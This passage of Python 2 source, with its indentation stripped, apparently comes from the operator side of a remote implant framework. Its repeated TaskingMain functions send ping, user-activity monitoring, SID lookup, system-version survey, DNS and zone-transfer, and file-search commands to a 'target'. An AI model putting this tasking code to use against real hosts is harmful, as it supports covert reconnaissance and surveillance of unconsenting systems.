tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
rpc.SetMessagingType('message')
taskXml = mcl.tasking.Tasking()
taskXml.AddSearchPath(tgtParams.path)
if tgtParams.flags & mca.status.cmd.objects.PARAMS_FLAG_RECURSIVE:
taskXml.SetRecursive()
mcl.tasking.OutputXml(taskXml.GetXmlObject())
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(res, 0, mca.status.cmd.objects.errorStrings)
return False
else:
return True
def TaskingMain(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.ping', globals())
mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.ping.tasking', globals())
lpParams = mcl.tasking.GetParameters()
if lpParams['addr'] == None or len(lpParams['addr']) == 0:
mcl.tasking.OutputError('A destination must be specified')
return False
else:
tgtParams = mca.network.cmd.ping.Params()
tgtParams.broadcast = lpParams['broadcast']
tgtParams.timeout = lpParams['timeout']
gotValidDst = False
try:
import mcl.object.IpAddr
tgtParams.dstAddr = mcl.object.IpAddr.IpAddr.CreateFromString(lpParams['addr'])
gotValidDst = True
except:
pass
if not gotValidDst:
tgtParams.dstHost = lpParams['addr']
rpc = mca.network.cmd.ping.tasking.RPC_INFO_SEND
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
rpc.SetMessagingType('message')
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(res, 0, mca.network.cmd.ping.errorStrings)
return False
return True
def TaskingMain(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'mca.status.cmd.activity', globals())
mcl.imports.ImportWithNamespace(namespace, 'mca.status.cmd.activity.tasking', globals())
lpParams = mcl.tasking.GetParameters()
if lpParams['action'] == ACTIVITY_ACTION_LAST:
rpc = mca.status.cmd.activity.tasking.RPC_INFO_QUERY_LAST
elif lpParams['action'] == ACTIVITY_ACTION_MONITOR:
tgtParams = mca.status.cmd.activity.Params()
tgtParams.delay = lpParams['delay']
rpc = mca.status.cmd.activity.tasking.RPC_INFO_MONITOR
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
else:
output.OutputError('Invalid action (%u)' % lpParams['action'])
return False
rpc.SetMessagingType('message')
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(res, 0, mca.status.cmd.activity.errorStrings)
return False
return True
def TaskingMain(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
import mcl.tasking.technique
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'mca.survey.cmd.sidlookup',
globals())
mcl.imports.ImportWithNamespace(namespace,
'mca.survey.cmd.sidlookup.tasking',
globals())
lpParams = mcl.tasking.GetParameters()
tgtParams = mca.survey.cmd.sidlookup.Params()
tgtParams.id = lpParams['number']
tgtParams.type = lpParams['type']
tgtParams.local = lpParams['local']
if lpParams['name'] != None:
tgtParams.name = lpParams['name']
rpc = mca.survey.cmd.sidlookup.tasking.RPC_INFO_QUERY
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
rpc.SetMessagingType('message')
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
print 'res=%08x' % res
mcl.tasking.RecordModuleError(res, 0,
mca.survey.cmd.sidlookup.errorStrings)
return False
else:
return True
def TaskingMain(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'mca.survey.cmd.systemversion',
globals())
mcl.imports.ImportWithNamespace(namespace,
'mca.survey.cmd.systemversion.tasking',
globals())
lpParams = mcl.tasking.GetParameters()
tgtParams = mca.survey.cmd.systemversion.Params()
if lpParams['target'] != None:
tgtParams.target = lpParams['target']
taskXml = mcl.tasking.Tasking()
if len(tgtParams.target) > 0:
taskXml.SetTargetRemote(tgtParams.target)
else:
taskXml.SetTargetLocal()
mcl.tasking.OutputXml(taskXml.GetXmlObject())
rpc = mca.survey.cmd.systemversion.tasking.RPC_INFO_QUERY
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
rpc.SetMessagingType('message')
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(
res, 0, mca.survey.cmd.systemversion.errorStrings)
return False
else:
return True
def TaskingMain(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.dns', globals())
mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.dns.tasking', globals())
lpParams = mcl.tasking.GetParameters()
tgtParams = mca.network.cmd.dns.Params()
tgtParams.dnsServer = lpParams['dnsServer']
tgtParams.type = lpParams['type']
tgtParams.queryInfo = lpParams['target']
tgtParams.protocol = lpParams['protocol']
if tgtParams.type == mca.network.cmd.dns.PARAMS_TYPE_QUERY or tgtParams.type == mca.network.cmd.dns.PARAMS_TYPE_REVERSE_QUERY or tgtParams.type == mca.network.cmd.dns.PARAMS_TYPE_ZONE_TRANSFER:
if tgtParams.queryInfo == None or len(tgtParams.queryInfo) == 0:
mcl.tasking.OutputError('Invalid query or server name')
return False
if tgtParams.type == mca.network.cmd.dns.PARAMS_TYPE_REVERSE_QUERY:
try:
tgtParams.queryInfo = _getReverseAddr(tgtParams.queryInfo)
except:
mcl.tasking.OutputError('Failed to convert target IP to reverse format')
return False
rpc = mca.network.cmd.dns.tasking.RPC_INFO_QUERY
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
rpc.SetMessagingType('message')
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(res, 0, mca.network.cmd.dns.errorStrings)
return False
else:
return True
